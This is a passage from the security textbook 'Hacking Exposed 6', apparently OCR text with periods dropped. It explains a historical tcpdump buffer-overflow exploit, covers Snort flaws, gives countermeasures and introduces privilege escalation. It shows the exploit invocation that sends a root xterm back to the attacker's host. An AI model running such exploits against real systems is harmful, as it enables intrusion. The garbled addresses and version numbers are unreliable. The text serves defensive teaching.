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Hacking Exposed 6: Network Security Secrets & Solutions
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execute any command as root An exploit for this was published by The Hispahack Research Team at http://hispahackcccde Let s review this attack First, tcpdump must be running with the snaplen s option, used to specify the number of bytes in each packet to capture For our example, we will use 500, which is enough to re-create the buffer overflow condition in the AFS parsing routine:
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[roz]# tcpdump -s 500
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It is important to mention that tcpdump run without a specified snaplen will default to 68 bytes, which is not enough to exploit this particular vulnerability Now we will launch the actual attack We specify our target (1921681200) running the vulnerable version of tcpdump This particular exploit is hard coded to send back an xterm, so we supply the IP address of the attacking system, 192168150 Finally, we must supply a memory offset for the buffer overflow condition (which may be different on other systems) of 100:
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[sigma]# tcpdump-xploit 1921681200 192168150 100
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Like magic, we are greeted with an xterm that has root privileges Obviously, if this was a system used to perform network management or that had an IDS that used tcpdump, the effects would be devastating Don t think an IDS would have a remotely exploitable buffer overflow In 2003, the open-source IDS Snort had not one but two In March 2003, the IIS X-force crew found a buffer overflow in Snort s RPC decoding, and in April 2003 Core Security Technologies found an integer overflow in the TCP stream reassembly engine What makes this problem worse is the fact that both the RPC decoding and the TCP stream reassembly engine, named stream4, are enabled by default The Snort project had source patches and fixed binaries available for download within hours of the vulnerability advisories being released; however, an exploit was publicly available for the TCP stream reassembly vulnerability shortly after the advisory was released
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Promiscuous-Mode Attacks Countermeasure
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For the particular tcpdump vulnerability discussed, users of tcpdump version 352 should upgrade to version 361 or higher at http://sourceforgenet/projects/tcpdump/ The two Snort vulnerabilities were fixed in Snort 20, and users of Snort are urged to upgrade to the latest stable version, which is version 22 or higher at the time of writing For systems that are only used to capture network traffic or to perform intrusion detection functions, consider putting the network card that is capturing hostile traffic into stealth mode A system is considered to be in stealth mode when the network interface card is in promiscuous mode but does not have an actual IP address Many times, stealth systems have a secondary network interface card that is plugged into a different segment that has an IP address used for management purposes For instance, to put Solaris into stealth mode, you would issue the following command:
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[itchy]# /usr/sbin/ifconfig nf0 plumb arp up
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Hacking Unix
Configuring the promiscuous-mode interface without an IP address prohibits the system from being able to communicate via IP with a hostile attacker For the preceding example, an attacker would never have been able to receive an xterm from 1921681200 because that system could not communicate via the IP protocol with 192168150
LOCAL ACCESS
Thus far, we have covered common remote access techniques As mentioned previously, most attackers strive to gain local access via some remote vulnerability At the point where attackers have an interactive command shell, they are considered to be local on the system Although it is possible to gain direct root access via a remote vulnerability, often attackers will gain user access first Thus, attackers must escalate user privileges to root access, better known as privilege escalation The degree of difficulty in privilege escalation varies greatly by operating system and depends on the specific configuration of the target system Some operating systems do a superlative job of preventing users without root privileges from escalating their access to root, whereas others do it poorly A default install of OpenBSD is going to be much more difficult for users to escalate their privileges than a default install of Irix Of course, the individual configuration has a significant impact on the overall security of the system The next section of this chapter will focus on escalating user access to privileged or root access We should note that, in most cases, attackers would attempt to gain root privileges; however, oftentimes it might not be necessary For example, if attackers are solely interested in gaining access to an Oracle database, the attackers may only need to gain access to the Oracle ID, rather than root
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